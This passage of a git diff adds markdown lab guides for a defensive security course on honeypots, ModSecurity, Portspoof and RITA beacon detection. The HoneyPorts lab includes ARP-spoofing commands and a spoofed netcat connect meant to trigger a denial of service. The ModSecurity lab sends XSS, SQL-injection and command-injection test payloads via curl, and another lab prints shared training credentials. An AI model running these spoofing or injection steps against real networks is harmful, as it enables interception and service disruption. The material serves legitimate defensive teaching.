IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_targets_targetadd.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_targets_targetdelete.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_targets_targetdelete.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_targets_targetdelete.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_targets_targetdelete.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_targets_targetinfo.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_targets_targetinfo.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyBadger_files/hb_targets_targetinfo.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyBadger_files/hb_targets_targetinfo.png diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/HoneyPorts/HoneyPorts.md b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyPorts/HoneyPorts.md new file mode 100644 index 00000000..1d2ec135 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyPorts/HoneyPorts.md @@ -0,0 +1,255 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + + +# Honey Ports + +# Windows VM + +### Website + + + +## Description + +A Python based cross-platform HoneyPort solution, created by Paul Asadoorian. + +## Install Location + +```bash +~/ADCD/honeyports +``` + +## Example 1: Monitoring A Port With HoneyPorts + +- Open an **Ubuntu Shell** + +Screenshot From 2026-02-23 10-28-37 + +Change to the Honeyports directory and execute the latest version of the script: + +```bash +cd ~/ADCD/honeyports +``` + +```bash +sudo python3 ./honeyports.py -p 3389 -h localhost +``` + +Output: +
+Listening on  0.0.0.0 IP:  0.0.0.0  :  3389
+
+ +- We can confirm that the listening is taking place with lsof: + +```bash +sudo lsof -i -P | grep python +``` + +Output: +
+python   26560     root    3r  IPv4 493595      0t0  TCP *:3389 (LISTEN)
+
+ +Looks like we're good. + +Any connection attempts to that port will result in an instant ban for the IP address in question. +Let's simulate this next. + +### Example 2: Blacklisting In Action + +- If Honeyports is not listening on 3389 please follow the instructions in **[Example 1: Monitoring A Port With HoneyPorts]**. + +- Once you have Honeyports online and a backup Windows machine to connect to Honeyports from, let's proceed. + +- First we need to get the IP address of the ADHD instance. + +```bash +ifconfig +``` + +Output: +``` + eth0 Link encap:Ethernet HWaddr 08:00:27:65:3c:64 + inet addr:192.168.1.109 Bcast:192.168.1.255 Mask:255.255.255.0 + inet6 addr: fe80::a00:27ff:fe65:3c64/64 Scope:Link + UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 + RX packets:46622 errors:0 dropped:0 overruns:0 frame:0 + TX packets:8298 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:1000 + RX bytes:14057203 (14.0 MB) TX bytes:2659309 (2.6 MB) + + lo Link encap:Local Loopback + inet addr:127.0.0.1 Mask:255.0.0.0 + inet6 addr: ::1/128 Scope:Host + UP LOOPBACK RUNNING MTU:16436 Metric:1 + RX packets:94405 errors:0 dropped:0 overruns:0 frame:0 + TX packets:94405 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:0 + RX bytes:37127292 (37.1 MB) TX bytes:37127292 (37.1 MB) +``` +>[!IMPORTANT] +> +> Your IP will be **different**, use **yours** + +- We can see from the `ifconfig` output that my **ADHD instance** has an IP of **192.168.1.109** + +- I will connect to that IP on **port 3389** from a box on the same network segment in order to test the functionality of **Honeyports**. + +- I will be using RDP to make the connection. + +- To open Remote Desktop hit `Windows Key + R` and input `mstsc.exe` before hitting OK. + +![](HoneyPorts_files/Image_001.png) + +- Next simply tell RDP to connect to your machine's **IP address**. + +![](HoneyPorts_files/Image_002.png) + +- We get an almost immediate error, this is a great sign that **Honeyports** is doing its job. + +![](HoneyPorts_files/Image_003.png) + +- Any subsequent connection attempts are met with failure. + +![](HoneyPorts_files/Image_004.png) + +- And we can confirm back inside our ADHD instance that the IP was blocked. + +```bash +sudo iptables -L +``` + +Output: +``` +Chain INPUT (policy ACCEPT) +target prot opt source destination +REJECT all -- 192.168.1.149 anywhere reject-with icmp-port-unreachable + +Chain FORWARD (policy ACCEPT) +target prot opt source destination + +Chain OUTPUT (policy ACCEPT) +target prot opt source destination + +Chain ARTILLERY (0 references) +target prot opt source destination +``` + +- You can clearly see the REJECT policy for 192.168.1.149 (The address I was connecting from). + +- To remove this rule we can either: + +```bash +sudo iptables -D INPUT -s <> -j REJECT +``` + +- Or Flush all the rules: + +```bash +sudo iptables -F +``` + +### Example 3: Spoofing TCP Connect for Denial Of Service + + +- **Honeyports** are designed to only properly respond to and **block** full TCP connects. This is done to make it difficult for an attacker to **spoof** being someone else and trick the **Honeyport** into **blocking** the **spoofed** address. **TCP connections** are difficult to spoof if the communicating hosts properly implement secure (hard to guess) sequence numbers. Of course, if the attacker can **"become"** the host they wish to **spoof**, there isn't much you can do to stop them. + +- This example will demonstrate how to **spoof** a TCP connect as someone else, for the purposes of helping you learn to recognize the limitations of **Honeyports**. + +- If you can convince the host running **Honeyports** that you are the target machine, you can send packets as the **target**. We will accomplish this through a **MITM** attack using **ARP Spoofing**. + +- Let's assume we have **two different machines**, they may be either **physical** or **virtual**. +- One must be your **ADHD machine** running **Honeyports**, the other for this example will be a **Kali box**. +- They must both be on the same **subnet**. + +>[!NOTE] +> Newer **Linux** operating systems like **ADHD** often have builtin **protection** against this attack. + +- This protection mechanism is found in `/proc/sys/net/ipv4/conf/all/arp_accept`. A **1** in this file means that **ADHD** is configured to **accept** unsolicited **ARP response**s. You can set this value by running the following command + +```bash +echo 1 > /proc/sys/net/ipv4/conf/all/arp_accept +``` + +- If our **ADHD machine** (running the **Honeyports**) is at 192.168.1.144 and we want to spoof 192.168.1.1 + +>[!IMPORTANT] +> +> Your IP will be **different**, use **yours** + +- Let's start by performing our **MITM attack**. + +```bash +arpspoof -i eth0 -t 192.168.1.144 192.168.1.1 2>/dev/null & +``` +```bash +arpspoof -i eth0 -t 192.168.1.1 192.168.1.144 2>/dev/null & +``` + +- If you want to confirm that the **MITM attack** is working first find the **MAC address** of the **Kali box**. + +```bash +ifconfig -a | head -n 1 | awk '{print $5} +``` + +Output: +
00:0c:29:40:1c:d3
+ +>[!IMPORTANT] +> +> Your **MAC Address** will be **different**, use **yours** + +- Then on the **ADHD machine** run this command to determine the current mapping of **IPs** to **MACs**. + +```bash +arp -a +``` + +- Look to see if the **IP** you are attempting to **spoof** is mapped to the **MAC address** from the previous step. + +- Once we have properly performed our **arpspoof** we will move on to assigning a **temporary IP** to the **Kali machine**. + +- This will convince the **Kali machine** to send packets as the **spoofed host**. + +```bash +ifconfig eth0:0 192.168.1.1 netmask 255.255.255.0 up +``` + +- The last step is to connect from the **Kali box** to the **ADHD machine** on a **Honeyport**, as `192.168.1.1` + +>[!IMPORTANT] +> +> Your IP will be **different**, use **yours** + +For this example, lets say that **port 3389** is a **Honeyport** as we used before in **[Example 1: Monitoring A Port With HoneyPorts]**. + +```bash +nc 192.168.1.144 3389 -s 192.168.1.1 +``` + +- It's that easy, if you list the **firewall rules** of the **ADHD machine** you should find a rule rejecting connections from `192.168.1.1` + +- Mitigation of this **vulnerability** can be accomplished with either **MITM protections**, or careful monitoring of the created firewall rules. + + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/ADHD/openCanary.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/ADHD/Portspoof/Portspoof.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- + + + + + + diff --git a/IntroClassFiles/Tools/IntroClass/HoneyPorts_files/Image_001.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyPorts/HoneyPorts_files/Image_001.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyPorts_files/Image_001.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyPorts/HoneyPorts_files/Image_001.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyPorts_files/Image_001_1.PNG b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyPorts/HoneyPorts_files/Image_001_1.PNG similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyPorts_files/Image_001_1.PNG rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyPorts/HoneyPorts_files/Image_001_1.PNG diff --git a/IntroClassFiles/Tools/IntroClass/HoneyPorts_files/Image_002.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyPorts/HoneyPorts_files/Image_002.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyPorts_files/Image_002.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyPorts/HoneyPorts_files/Image_002.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyPorts_files/Image_002_1.PNG b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyPorts/HoneyPorts_files/Image_002_1.PNG similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyPorts_files/Image_002_1.PNG rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyPorts/HoneyPorts_files/Image_002_1.PNG diff --git a/IntroClassFiles/Tools/IntroClass/HoneyPorts_files/Image_003.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyPorts/HoneyPorts_files/Image_003.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyPorts_files/Image_003.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyPorts/HoneyPorts_files/Image_003.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyPorts_files/Image_003_1.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyPorts/HoneyPorts_files/Image_003_1.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyPorts_files/Image_003_1.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyPorts/HoneyPorts_files/Image_003_1.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyPorts_files/Image_004.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyPorts/HoneyPorts_files/Image_004.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyPorts_files/Image_004.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyPorts/HoneyPorts_files/Image_004.png diff --git a/IntroClassFiles/Tools/IntroClass/HoneyPorts_files/Image_004_1.png b/IntroClassFiles/Tools/IntroClass/ADHD/HoneyPorts/HoneyPorts_files/Image_004_1.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/HoneyPorts_files/Image_004_1.png rename to IntroClassFiles/Tools/IntroClass/ADHD/HoneyPorts/HoneyPorts_files/Image_004_1.png diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Mailoney.md b/IntroClassFiles/Tools/IntroClass/ADHD/Mailoney.md new file mode 100644 index 00000000..72f70b3c --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ADHD/Mailoney.md @@ -0,0 +1,164 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + + +# Mailoney + +You’ll deploy **Mailoney** (a low-interaction SMTP honeypot) and then **simulate simple email-based attacks** to see what it captures + +--- + +# Setup + +- Open a terminal + +```bash +cd ~/ADCD/mailoney +``` + +```bash +source venv/bin/activate +``` + +--- + +# Start Mailoney (SQLite + port 2525) + +We’ll run Mailoney on: +- IP: `127.0.0.1` +- Port: `2525` +- Database: `sqlite:///mailoney.db` (a file in this folder) + +Start it: +```bash +python main.py \ + --ip 127.0.0.1 \ + --port 2525 \ + --server-name mail.lab \ + --db-url sqlite:///mailoney.db \ + --log-level INFO +``` + +2026-03-16_12-56 + + +Leave this terminal open (it will show logs) + +> If you stop it later: press **Ctrl+C** + +--- + +# Verify it’s listening + +Open a **second terminal**, go back to the same folder, and activate the venv again: + +```bash +cd ~/ADCD/mailoney +``` + +```bash +source venv/bin/activate +``` + +Check the listening port: +```bash +ss -lntp | grep 2525 +``` + +2026-03-16_12-57 + + +You should see something listening on `127.0.0.1:2525` + +--- + +# Simulate a basic SMTP “email delivery” + +We’ll use **swaks** (Swiss Army Knife for SMTP) + +Send a test email into the honeypot: +```bash +swaks \ + --server 127.0.0.1 \ + --port 2525 \ + --from alice@demo.local \ + --to bob@demo.local \ + --header "Subject: Hello from the lab" \ + --body "This is a harmless test message captured by Mailoney." +``` + +- Back in the **Mailoney Terminal**, we can see the hit + +2026-03-16_12-58 + +- Go back to the **Second Terminal** and do this to get the data received by the honeypot from the last hit +```bash +sqlite3 -header -column mailoney.db \ +"SELECT id, timestamp, ip_address, session_data + FROM smtp_sessions + ORDER BY timestamp DESC + LIMIT 1;" +``` + +2026-03-16_13-00 + + + +--- + +# Simulate a credential-harvesting attempt + +Attackers often try weak credentials on SMTP servers + +Run this to attempt SMTP AUTH LOGIN: +```bash +swaks \ + --server 127.0.0.1 \ + --port 2525 \ + --auth LOGIN \ + --auth-user admin \ + --auth-password 'Password123!' \ + --quit-after AUTH +``` + +**What to observe** +- Even if auth does not truly “succeed” (it’s a honeypot), Mailoney is designed to **capture the authentication attempt** + + +## Inspect what Mailoney captured + +```bash +sqlite3 -header -column mailoney.db \ +"SELECT id, timestamp, ip_address, session_data + FROM smtp_sessions + ORDER BY timestamp DESC + LIMIT 1;" +``` + + +2026-03-16_13-09 + + + + + + + + + + + + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/Bluespawn.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/ADHD/GoPhish.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Metta.md b/IntroClassFiles/Tools/IntroClass/ADHD/Metta.md new file mode 100644 index 00000000..6dd52919 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ADHD/Metta.md @@ -0,0 +1,31 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + + + + + + + + + + + + + + + + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/ADHD/Caldera.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/ADHD/bluespawn/Bluespawn.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/ModSecurity.md b/IntroClassFiles/Tools/IntroClass/ADHD/ModSecurity.md new file mode 100644 index 00000000..ce4fca1d --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ADHD/ModSecurity.md @@ -0,0 +1,246 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + +# ModSecurity + +# Ubuntu VM + +**Goal:** With **ModSecurity**,perform simple detections and blocks (XSS, SQLi, command injection), view logs, and write a simple custom rule + + +>[!NOTE] +>Apache is running on port 8083 on the machine + +--- + +## Lab overview + +- Enable ModSecurity (Detection/Prevention mode) +- Test attacks with `curl` (XSS, SQLi, command injection) +- Inspect audit logs and Apache logs +- Create a simple custom rule to block a pattern +- Toggle rule states and observe behavior + +--- + +# Start + +- Start and enable Apache: +```bash +sudo systemctl enable --now apache2 +sudo systemctl status apache2 --no-pager +``` + +- Check Apache is serving: +```bash +curl -I http://localhost:8083 +``` + +2026-03-18_13-05 + + +>[!IMPORTANT] +>ModSecurity is already installed for this lab + +- Confirm module installed: +```bash +sudo apachectl -M | grep security +``` + +2026-03-18_13-22 + + + +- The default configuration file lives at: `/etc/modsecurity/modsecurity.conf-recommended` + +- We are using the basic config: `/etc/modsecurity/modsecurity.conf` + +- Ensure `SecRuleEngine` is set to `DetectionOnly` initially: +```bash +sudo cat /etc/modsecurity/modsecurity.conf +``` + +- Important lines to check: +- `SecRuleEngine DetectionOnly` - detects but does not block +- `SecAuditLog` - path to the audit log (usually `/var/log/apache2/modsec_audit.log`) + +2026-03-18_13-25 + + +2026-03-18_13-24 + +--- + +## Install OWASP Core Rule Set (v3.3.5) - Copy-Paste is your friend +```bash +cd /tmp +sudo rm -rf /usr/share/modsecurity-crs +sudo git clone --branch v3.3.5 --depth 1 https://github.com/coreruleset/coreruleset.git +sudo mkdir -p /usr/share/modsecurity-crs +sudo cp -r coreruleset/* /usr/share/modsecurity-crs/ +sudo cp /usr/share/modsecurity-crs/crs-setup.conf.example /usr/share/modsecurity-crs/crs-setup.conf +``` + +--- + +## Enable CRS (Single Include Only) +```bash +sudo tee /etc/apache2/mods-available/security2.conf >/dev/null <<'EOF' + + IncludeOptional /etc/modsecurity/modsecurity.conf + IncludeOptional /usr/share/modsecurity-crs/crs-setup.conf + IncludeOptional /usr/share/modsecurity-crs/rules/*.conf + IncludeOptional /etc/modsecurity/custom-rules/*.conf + +EOF + +sudo ln -sf /etc/apache2/mods-available/security2.conf /etc/apache2/mods-enabled/security2.conf +sudo apachectl configtest +sudo systemctl restart apache2 +``` + +Test: +```bash +curl -I http://localhost:8083 +``` + +2026-03-18_13-28 + + +--- + +## SConfirm ModSecurity is running +- Check Apache error log for ModSecurity startup messages: +```bash +sudo tail -n 200 /var/log/apache2/error.log +``` + +2026-03-18_13-29 + + + +Check the audit log file exists (may be empty initially): +```bash +sudo ls -l /var/log/apache2/modsec_audit.log || ls -l /var/log/modsec_audit.log +``` + + +2026-03-18_13-30 + + +--- + +## Simple detection tests (DetectionOnly mode) +- With `SecRuleEngine DetectionOnly` ModSecurity will log but not block. + +### XSS test (reflected) +```bash +curl -v "http://localhost:8083/?q=" -s -o /dev/null +``` + +2026-03-18_13-33 + + +- Now tail the **audit log** (open another terminal): +```bash +sudo tail -n 120 /var/log/apache2/modsec_audit.log +``` + +2026-03-18_13-35 + + +- **BOOM!** What is cool about **ModSecurity** is that not only does it detect attacks really well, but it also logs them extensively, as you can see, giving details about everything + + +### SQL Injection test +```bash +curl -v "http://localhost:8083/?id=1%20OR%201=1" -s -o /dev/null +``` + +```bash +sudo tail -n 120 /var/log/apache2/modsec_audit.log +``` + +2026-03-18_13-39 + + +### Command injection-like input +```bash +curl -v "http://localhost:8083/?cmd=|ls" -s -o /dev/null +``` +```bash +sudo tail -n 120 /var/log/apache2/modsec_audit.log +``` + +2026-03-18_13-40 + + + +- Each **curl** should create **ModSecurity** audit events. Study the audit log format: it is split into sections (`--A--`, `--B--`) with **request**, **response**, and **matched rule details** + +--- + +## Switch to prevention mode (blocking) +- Now turn ModSecurity into blocking mode. + +**Important:** On some rules and setups enabling blocking will return `403` for many requests. This is expected - we want to see blocking. + +Edit the config: +```bash +sudo sed -i 's/SecRuleEngine DetectionOnly/SecRuleEngine On/' /etc/modsecurity/modsecurity.conf +``` +```bash +sudo systemctl restart apache2 +``` + +- Test the same payloads: + +```bash +curl -v "http://localhost:8083/?q=" -s -o /dev/null -w "%{http_code}\n" +# Expected: 403 (or another non-200) +``` + + +2026-03-18_13-41 + + +```bash +curl -v "http://localhost:8083/?id=1%20OR%201=1" -s -o /dev/null -w "%{http_code}\n" +``` + +Review the audit log and Apache error log for blocked events: +```bash +sudo tail -n 120 /var/log/apache2/modsec_audit.log +``` + +```bash +sudo tail -n 200 /var/log/apache2/error.log +``` + +2026-03-18_13-42 + + +--- + +## Useful file locations +- Main config: `/etc/modsecurity/modsecurity.conf` +- Apache include: `/etc/apache2/mods-enabled/security2.conf` +- CRS rules: `/usr/share/modsecurity-crs/rules/` +- CRS setup: `/usr/share/modsecurity-crs/crs-setup.conf` +- Audit log: `/var/log/apache2/modsec_audit.log` (or `/var/log/modsec_audit.log`) +- Apache error log: `/var/log/apache2/error.log` + + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/ADHD/Haraka.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/ADHD/Glastopf.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/Portspoof/Portspoof.md b/IntroClassFiles/Tools/IntroClass/ADHD/Portspoof/Portspoof.md new file mode 100644 index 00000000..748c0da5 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ADHD/Portspoof/Portspoof.md @@ -0,0 +1,207 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + + +# Portspoof + +# Windows VM + +Website +------- + + + +Description +----------- + +Portspoof is meant to be a lightweight, fast, portable and secure addition to any firewall system or security system. The general goal of the program is to make the reconnaissance phase as slow and bothersome as possible for your attackers. This is quite a change to the standard aggressive Nmap scan, which will give a full view of your system's running services. + +By using all of the techniques mentioned below: + +* your attackers will have a tough time while trying to identify all of your listening services. +* the only way to determine if a service is emulated is through a protocol probe (imagine probing protocols for 65k open ports!). +* it takes more than 8 hours and 200MB of sent data in order to get all of the service banners for your system (nmap -sV -p - equivalent). + +--- + +The Portspoof program's primary goal is to enhance OS security through a set of new techniques: + +#### Technique 1: All TCP ports are always open + +Instead of informing an attacker that a particular port is CLOSED or FILTERED, a system with Portspoof will return SYN+ACK for every port connection attempt. + +As a result it is impractical to use stealth (SYN, ACK, etc.) port scanning against your system, since all ports are always reported as OPEN. With this approach it is really difficult to determine if a valid software is listening on a particular port (check out the screenshots). + +#### Technique 2: Every open TCP port emulates a service + +Portspoof has a huge dynamic service signature database, which will be used to generate responses to your attackers scanning software service probes. + +Scanning software usually tries to determine a service that is running on an open port. This step is mandatory if one would want to identify port numbers on which you are running your services on a system behind the Portspoof. For this reason Portspoof will respond to every service probe with a valid service signature, which is dynamically generated based on a service signature regular expression database. + +As a result an attacker will not be able to determine which port numbers your system is truly using. + +Install Location +---------------- + +`/usr/local/bin/portspoof` + +Config File Location +-------------------- + +`/usr/local/etc/portspoof.conf` +`/usr/local/etc/portspoof_signatures` + +Usage +----- + +```bash +portspoof -h +``` + +``` +Usage: portspoof [OPTION]... +Portspoof - service emulator / frontend exploitation framework. + +-i ip : Bind to a particular IP address +-p port : Bind to a particular PORT number +-s file_path : Portspoof service signature regex. file +-c file_path : Portspoof configuration file +-l file_path : Log port scanning alerts to a file +-f file_path : FUZZER_MODE - fuzzing payload file list +-n file_path : FUZZER_MODE - wrapping signatures file list +-1 FUZZER_MODE - generate fuzzing payloads internally +-2 switch to simple reply mode (doesn't work for Nmap)! +-D run as daemon process +-d disable syslog +-v be verbose +-h display this help and exit +``` + + +Example 1: Starting Portspoof +----------------------------- + +When ran, Portspoof listens on a single port. By default this is port 4444. In order to fool a port scan, we have to allow Portspoof to listen on *every* port. To accomplish this we will use an `iptables` command that redirects every packet sent to any port to port 4444 where the Portspoof port will be listening. This allows Portspoof to respond on any port. + + + + +- Open **Ubuntu Shell** + +Screenshot From 2026-02-23 10-28-37 + + + + +Let's become root: + +```bash +sudo su - +``` + +Let's add the firewall rules. + +```bash +iptables -t nat -A PREROUTING -p tcp -m tcp --dport 1:20 -j REDIRECT --to-ports 4444 +``` + +Then run Portspoof with no options, which defaults it to "open port" mode. This mode will just return OPEN state for every connection attempt. + +```bash +portspoof +``` + +image + + + +If you were to scan using Nmap from another Windows command prompt. Now you would see something like this: + +>[!IMPORTANT] +> +>You *must* run Nmap from a different machine. Scanning from the same machine will not reach Portspoof. + +Open a Windows command prompt: + +Screenshot From 2026-02-07 17-59-56 + +Then, run nmap: + +```bash +nmap -p 1-10 linux.cloudlab.lan +``` + + +![image](https://github.com/user-attachments/assets/d51c7589-8fbf-4b0a-8c69-6c21629e588d) + + +All ports are reported as open! When run this way, Nmap reports the service that typically runs on each port. + +To get more accurate results, an attacker might run an Nmap service scan, which would actively try to detect the services running. But performing an Nmap service detection scan shows that something is amiss because all ports are reported as running the same type of service. + +```bash +nmap -p 1-10 -sV linux.cloudlab.lan +``` + +![image](https://github.com/user-attachments/assets/148e82e4-f8fb-4df5-8fef-6b758d1e05e1) + + +Example 2: Spoofing Service Signatures +-------------------------------------- + +Showing all ports as open is all well and good, but the same thing could be accomplished with a simple netcat listener: + +```bash +nc -l -k 4444 +``` + +To make things more interesting, how about we have Portspoof fool Nmap into actually detecting real services running? + +Let's kill the running version of Portspoof with `Ctrl + C` then restart it with signatures: + +```bash +portspoof -s /etc/portspoof/portspoof_signatures +``` + +![image](https://github.com/user-attachments/assets/e1a2857a-7628-46d0-8808-b0af2add49f1) + +This mode will generate and feed port scanners like Nmap bogus service signatures. + +Now running an Nmap service detection scan against the top 100 most common ports (a common hacker activity) will turn up some very interesting results. + +```bash +nmap -p 1-10 -sV linux.cloudlab.lan +``` + +![image](https://github.com/user-attachments/assets/c4281e6f-4937-4477-b6a9-d2344d2a2699) + +Notice how all of the ports are still reported as open, but now Nmap reports a unique service on each port. + +This will either: +1) Lead an attacker down a rabbit hole investigating each port while wasting their time... +2) or the attacker may discard the results as false positives and ignore this machine altogether, leaving any legitimate service running untouched. + +Example 3: Cleaning Up +---------------------- + +To reset our VM, you can reboot (recommended) or: + +1. Kill Portspoof by pressing `Ctrl + C`. +2. Flush all iptables rules by running the command (as root): +```bash +sudo iptables -t nat -F +``` + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/ADHD/HoneyPorts/HoneyPorts.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/ADHD/Cowrie/Cowrie.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/RITA.md b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/RITA.md new file mode 100755 index 00000000..4951a956 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ADHD/RITA_ADHD/RITA.md @@ -0,0 +1,138 @@ + +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + +# RITA and AC Hunter + +In this lab, we are going to look at detecting command and control traffic on a network. + +We will be using **Real Intelligence Threat Analytics** (RITA) for this lab. + +To start we first need to open Windows File Explorer and navigate to the tools directory. + +First, open File Explorer: + +OpenFileExplorer + +Then, select the IntroLabs directory: + +![](attachments/rita_navintrolabs.png) + +Then, select rita-html-report: + +2026-02-23_15-18 + +Then, select **index.html**: + +![](attachments/rita_navindex.png) + +Let’s select **VSAGENT-2017-3-15**. + +![](attachments/rita_vsagent.png) + +The tabs across the top allow you to review the output for all the different analysis modules of RITA. +For **VSAgent** we will be focusing on **Beacons**, **Blacklisted** and **User Agents**. + +Please select the **Beacons** tab. + +![](attachments/rita_beaconview.png) + +Some backdoors have a very strong **“heartbeat”**. This is where a backdoor will constantly reconnect to get commands from an attacker at a specific interval. The interval consistency of the **“heartbeat”** is the TS score where a value of **1** is perfect. The top value in this set is the **VSAgent** communication. We will talk about the other connections in a few moments. + +We also have the number of connections. While some beacons have a **“strong”** heartbeat, they are very short in nature. Our VSAgent connection had a very large number of connections which had very strong intervals, while some of the others (e.g. the 64.4.54.253 addresses) had a strong **"heartbeat"**, but not as many connections. We will also talk about TS Duration. This is detecting how consistent each connection duration is. For example, if every connection is 2 seconds and there are 8000+ it would have a very strong **TS Duration** score. + +The other fields are statistical analysis fields showing things like mode range and skew. + +Now, lets navigate back to the first menu by clicking the **RITA** tab. + +![](attachments/rita_rita.png) + +Then, select **DNSCat-2017-03-21**. We are going to review a backdoor which does not quite fit the same mold as **VSAgent**. + +![](attachments/rita_dnscat.png) + +This does not beacon back to a specific IP address, but rather it beacons through a DNS server. It is very crafty and will highlight how we can review the RAR compressed Bro logs used to generate the RITA data. + +We are going to jump right to the DNS tab. It gives us the clearest look at this backdoor. + +![](attachments/rita_dns.png) + +![](attachments/rita_dnsview.png) + +A couple of things should jump out at an investigator straight away. First, there were over 40K requests for **cat.nanobotninjas.com.** This is an absurd number for a specific domain. Sure, there are lots of requests for com and org and net and uk, but that is to be expected. + +Now, let's play with AC Hunter! + +Please go to + +
https://training.aihhosted.com/
+ +You might be prompted by a warning stating that your connection isn't private. This is **Okay**. + +Simply click **Advanced** and then click **Continue to trainin.aihhosted.com** + +![](attachments/advanced.png) + +The creds are: + +email = **training@blackhillsinfosec.com** + +PW = **gotbeacons?** + +![](attachments/rita_achunterlogin.png) + +When logged in, you will be prompted to select a dataset. + +Select **vsagent** and hit confirm. + +![](attachments/rita_datasetselection.png) + +>[!NOTE] +> +>If this is not what you see, select the house icon in the bottom left of your screen, followed by the gear in the upper right. + +![](attachments/rita_wrongplace.png) + +This will open the overall scoring screen, as seen below. This screen allows you to see the systems that have the top scores across all areas from beacons to cyber deception. + +Please select **10.55.100.111**, then click on Beacon Score on the right. + +![](attachments/rita_selectingbeacon.png) + +This will open the beacon score for this system. + +![](attachments/rita_beaconscore.png) + +Notice the **histogram** on the bottom and the scoring criteria in the middle. + +Notice how on the bottom 